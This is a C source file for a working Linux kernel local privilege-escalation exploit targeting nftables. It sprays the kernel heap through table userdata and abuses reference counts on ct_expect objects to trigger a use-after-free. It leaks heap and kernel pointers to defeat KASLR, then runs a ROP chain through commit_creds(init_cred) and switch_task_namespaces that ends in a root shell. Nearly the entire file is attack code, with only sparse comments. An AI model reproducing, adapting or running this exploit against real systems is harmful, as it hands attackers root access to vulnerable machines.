#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"
#define SET_TABLE "set-table"

char *leak_data = NULL;
int table_num = 0;
uint64_t leak_ops = 0, leak_heap = 0, kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;

void shell(){
    printf("ret2usr success! uid : %d\n",getuid());
    char *args[] = {"/bin/sh", "-i", NULL};
    execve(args[0], args, NULL);
    //while(1);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  return 0;
}



void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
    struct nl_msg * msg = nlmsg_alloc();
    //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
    struct nlmsghdr *hdr1 = nlmsg_put(
            msg,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_BEGIN,   // TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
    h->nfgen_family = 2;
    h->version = 0;
    h->res_id = NFNL_SUBSYS_NFTABLES;
    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
    struct nl_msg * msg3 = nlmsg_alloc();
    struct nlmsghdr *hdr3 = nlmsg_put(
            msg3,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_END,// TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
    int i;
    for(i=0;i<num;i++){
    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    char *buf = malloc(total_size);
    memset(buf, 0, total_size);
    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
    for(i=0;i<num;i++){
    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
    int res = nl_sendto(socket, buf, total_size);
    if (res < 0) {
        printf("sending message failed\n");
    }
}

int nl_callback_leak_ops(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_SET_MAX+1];
    memset(tb_msg, 0, NFTA_SET_MAX * 8);
    //printf("Get message back!\n");

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //printf("Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;
    if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
        struct nlattr * tb_msg2[NFTA_SET_MAX+1];
        memset(tb_msg2, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

        struct nlattr * tb_msg3[NFTA_SET_MAX+1];
        memset(tb_msg3, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
        char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF]));
        nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_OBJREF], nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF]));
        printf("Get ops : %llx\n", *(uint64_t *)val);
        leak_ops = *(uint64_t *)val;
    }
    else
        printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
    return NL_OK;
}

int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_SET_MAX+1];
    memset(tb_msg, 0, NFTA_SET_MAX * 8);
    //printf("Get message back!\n");

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //printf("Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;

    if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
        struct nlattr * tb_msg2[NFTA_SET_MAX+1];
        memset(tb_msg2, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

        struct nlattr * tb_msg3[NFTA_SET_MAX+1];
        memset(tb_msg3, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
        char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
        nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
        //printf("Get key : %llx\n", *(uint64_t *)(val+4));
        int udata_len = nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]);
        //printf("udata len : %d\n",udata_len);
        if(udata_len > 0xb0){
        //get leak
            printf("udata len : %d\n",udata_len);
            leak_data = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
            memset(leak_data,0,nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
            nla_memcpy(leak_data, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
            printf("Target key : %llx\n",*(uint64_t *)(val+4));
        }
    }
    else
        printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
    return NL_OK;
}

/*
 Spray the heap through the udata of nft_table. In nftables, when creating a table, 
 you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA 
 (the corresponding code is in the function nf_tables_newtable). 
*/

void spray_tables(struct nl_sock * socket, int len, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<len;i++){
        snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
        new_table_with_udata(socket, tmp, udata, size);
        ++table_num;
   }
   free(tmp);
}

void leak_and_prepare_rop(struct nl_sock *socket){
    int i;
    char *pipapo_set = "set pipapo for leak";
    char *hash_set = "set hashtable for leak";
    char *hash_set_2 = "set hashtable 2 for leak";
    //char *hash_set_3 = "set hashtable 3 for leak";
    char *target_obj = "obj_for_leak_32";
    char *obj_for_leak = "obj_for_leak_a";

    new_table(socket, SET_TABLE);
    new_obj_ct_expect(socket, SET_TABLE, obj_for_leak, NULL, 0);
    new_set_pipapo(socket,SET_TABLE, pipapo_set, NFT_OBJECT_CT_EXPECT);
    new_set_hashtable(socket, SET_TABLE, hash_set, NFT_OBJECT_CT_EXPECT, 8);
    new_set_hashtable(socket, SET_TABLE, hash_set_2, NFT_OBJECT_CT_EXPECT, 8);
    char *key = malloc(0x40);
    char *key_end = malloc(0x40);
    uint64_t hash_key;
    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
    //step 1
    //spray some objects
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    char *obj_name = malloc(0x40);
    memset(obj_name,0,0x40);
    for(i=0;i<0x40;i++){
        snprintf(obj_name,0x40,"obj_for_leak_%d",i);
        new_obj_ct_expect(socket, SET_TABLE, obj_name, NULL, 0);
    }
    //step 2
    //make target_obj->use = 0x2a*4
    for(i=0;i<0x29;i++){
    	memset(key,i,0x40);
        memset(key_end,i,0x40);
        new_setelem(socket, SET_TABLE, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40, 0);
    }
    hash_key = 0xdeadbeef;
    new_setelem(socket, SET_TABLE, hash_set_2, pad, 0x100, target_obj, &hash_key, 8, NULL, 0, 0);
    //step 3
    //make target_obj->use = 0
    
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
    char *tmp_set = "tmp set for leak";
    for(i=0;i<0x2a;i++){
	new_set_hashtable(socket, SET_TABLE, tmp_set, NFT_OBJECT_CT_EXPECT, 8);
	new_setelem(socket, SET_TABLE, tmp_set, pad, 0x100, target_obj, NULL, 0, NULL, 0, 1);
	memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
    	msg_list[0] = elem_flush_msg(SET_TABLE, tmp_set);
    	msg_list[1] = del_set_msg(SET_TABLE, tmp_set);
    	send_msg_list(socket, msg_list, 2);
    }
    
    //step 4
    //delete target obj
    del_obj(socket, SET_TABLE, target_obj, NFT_OBJECT_CT_EXPECT);
    
    
    //step 5
    //get heap back
    for(i=0;i<0x400;i++){
        //printf("%d\n",i);
        *(uint64_t *)pad = i;
        hash_key = i;
        new_setelem(socket, SET_TABLE, hash_set, pad, 0xa1, obj_for_leak, &hash_key, 8, NULL, 0,0);
    }
    //step 6
    //make setelem->udata_len = 0xfc
    elem_flush(socket, SET_TABLE, pipapo_set);
    sleep(2);
    //step 7 Get leak data
    struct nl_sock * socket2 = nl_socket_alloc();
    if(nfnl_connect(socket2)<0){
        printf("nfnl_connect fail!\n");
        return 0;
    }
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
    for(i=0;i<0x400;i++){
        hash_key = i;
        get_setelem(socket2, SET_TABLE, hash_set, &hash_key,8);
        nl_recvmsgs_default(socket2);
        nl_recvmsgs_default(socket2);
    }
    uint64_t obj_a = *(uint64_t *)&leak_data[0xcf];
    uint64_t obj_b = *(uint64_t *)&leak_data[0xcf+8];
    printf("leak obj A heap : %llx\n",obj_a);
    printf("leak obj B heap : %llx\n",obj_b);
    elem_flush(socket, SET_TABLE, hash_set);
    sleep(2);
    *(uint64_t *)&pad[0x20] = obj_a + 0x80;
    spray_tables(socket,0x400, pad, 0xcc);
    printf("spray finish\n");
    hash_key = 0xdeadbeef;
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_leak_ops, NULL);
    get_setelem(socket2, SET_TABLE, hash_set_2, &hash_key,8);
    nl_recvmsgs_default(socket2);
    nl_recvmsgs_default(socket2);
    printf("Leak end.\n");
    leak_heap = obj_a;
    kernel_off = leak_ops - 0xffffffff82b26d20; //0xffffffff82b26d20 is the address of nft_ct_expect_obj_ops without KASLR
    
}


void jmp_rop(struct nl_sock * socket){
    char *pipapo_set = "set pipapo for rop";
    char *hash_set = "set hashtable for rop";
    char *hash_set_for_expr = "set hashtable for expr";
    char *target_obj = "obj_for_rop_32";
    char *obj_for_rop = "obj_for_rop_a";
    int i;

    new_obj_ct_expect(socket, SET_TABLE, obj_for_rop, NULL, 0);
    new_set_pipapo(socket,SET_TABLE, pipapo_set, NFT_OBJECT_CT_EXPECT);
    new_set_hashtable(socket, SET_TABLE, hash_set, NFT_OBJECT_CT_EXPECT, 8);
    new_set_hashtable(socket, SET_TABLE, hash_set_for_expr, NFT_OBJECT_CT_EXPECT, 16);
    char *key = malloc(0x40);
    char *key_end = malloc(0x40);
    uint64_t hash_key;
    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
    //step 1
    //spray some objects
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);

    char *obj_name = malloc(0x40);
    memset(obj_name,0,0x40);
    for(i=0;i<0x40;i++){
        snprintf(obj_name,0x40,"obj_for_rop_%d",i);
        new_obj_ct_expect(socket, SET_TABLE, obj_name, NULL, 0);
    }
    //step 2
    //make target_obj->use = 0x10*4
    for(i=0;i<0x10;i++){
        memset(key,i,0x40);
        memset(key_end,i,0x40);
        new_setelem(socket, SET_TABLE, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40,0);
    }
    hash_key = 0xdeadbeef;
    //step 3
    //make target_obj->use = 0
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
    char *tmp_set = "tmp set for leak";
    for(i=0;i<0x10;i++){
        new_set_hashtable(socket, SET_TABLE, tmp_set, NFT_OBJECT_CT_EXPECT, 8);
        new_setelem(socket, SET_TABLE, tmp_set, pad, 0x100, target_obj, NULL, 0, NULL, 0, 1);
        memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
        msg_list[0] = elem_flush_msg(SET_TABLE, tmp_set);
        msg_list[1] = del_set_msg(SET_TABLE, tmp_set);
        send_msg_list(socket, msg_list, 2);
    }

    //step 4
    //delete target obj
    del_obj(socket, SET_TABLE, target_obj, NFT_OBJECT_CT_EXPECT);
    //step 5
    //get heap back
    char *hash_key_16 = malloc(0x10);
    memset(hash_key_16,0,0x10);
    //prepare a fake expr
    memset(pad,0xff,0x100);
    *(uint64_t *)&pad[0] = (kernel_off + 0xffffffff8104d475)>>8;//leave ; ret

    for(i=0;i<0x400;i++){
        *(uint64_t *)hash_key_16 = i;
        new_setelem_with_expr(socket, SET_TABLE, hash_set_for_expr, pad, 0x76, obj_for_rop, hash_key_16, 16, NULL, 0);
    }

    //step 6 change expr->size
    elem_flush(socket, SET_TABLE, pipapo_set);
    sleep(2);
    //step 7
    //make obj_for_rop->use = 0
    char *ops = malloc(0x100);
    for(i=0;i<0x400;i++){
        //printf("%d\n",i);
        *(uint64_t *)hash_key_16 = i;
        new_setelem_with_expr(socket, SET_TABLE, hash_set_for_expr, pad, 0x91, obj_for_rop, hash_key_16, 16, NULL, 0);
    }
    del_obj(socket, SET_TABLE, obj_for_rop, NFT_OBJECT_CT_EXPECT);
    //ops->dump
    *(uint64_t *)&ops[0x40] = kernel_off + 0xffffffff8104d475;//leave ; ret
    //ops->type
    *(uint64_t *)&ops[0x78] = kernel_off + 0xFFFFFFFF83962480;//last type

    *(uint64_t *)&ops[0x08] = kernel_off + 0xffffffff8112cfc0;//pop rdi; ret
    *(uint64_t *)&ops[0x10] = kernel_off + 0xFFFFFFFF83676800;//init_cred
    *(uint64_t *)&ops[0x18] = kernel_off + 0xffffffff811bed10;//commit_creds;
    *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8111415f;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
    *(uint64_t *)&ops[0x28] = 1;
    *(uint64_t *)&ops[0x58] = kernel_off + 0xffffffff811b5600;//find_task_by_vpid
    *(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff8112cfc0;//pop rdi; ret
    *(uint64_t *)&ops[0x68] = 0;
    *(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF815014BE;//pop rsi; ret
    *(uint64_t *)&ops[0x80] = kernel_off + 0xffffffff818624b5;//or rdi, rax ; test rdi, rdi ; setne al ; ret
    *(uint64_t *)&ops[0x88] = kernel_off + 0xFFFFFFFF815014BE;//pop rsi ; ret
    *(uint64_t *)&ops[0x90] = kernel_off + 0xFFFFFFFF836765C0;//init_nsproxy
    *(uint64_t *)&ops[0x98] = kernel_off + 0xffffffff811bd180; //switch_task_namespaces
    *(uint64_t *)&ops[0xa0] = kernel_off + 0xffffffff82141df6;//swagpgs; ret
    *(uint64_t *)&ops[0xa8] = kernel_off + 0xFFFFFFFF82201157;//iretq
    *(uint64_t *)&ops[0xb0] = (uint64_t)shell;
    *(uint64_t *)&ops[0xb8] = user_cs;
    *(uint64_t *)&ops[0xc0] = user_rflags;
    *(uint64_t *)&ops[0xc8] = user_rsp|8;
    *(uint64_t *)&ops[0xd0] = user_ss;

    spray_tables(socket,0x400, ops, 0xe8);

    for(i=0;i<0x400;i++){
        *(uint64_t *)hash_key_16 = i;
        get_setelem(socket, SET_TABLE, hash_set_for_expr, hash_key_16,16);
    }
}


int main(void) {
    if (setup_sandbox() < 0){
        printf("Create sandbox fail!\n");
        return 0;
    }
    save_state();
    struct nl_sock * socket = nl_socket_alloc();

    if(nfnl_connect(socket)<0){
    	printf("nfnl_connect fail!\n");
	return 0;
    }
    leak_and_prepare_rop(socket);
    jmp_rop(socket);
    return 0;
}
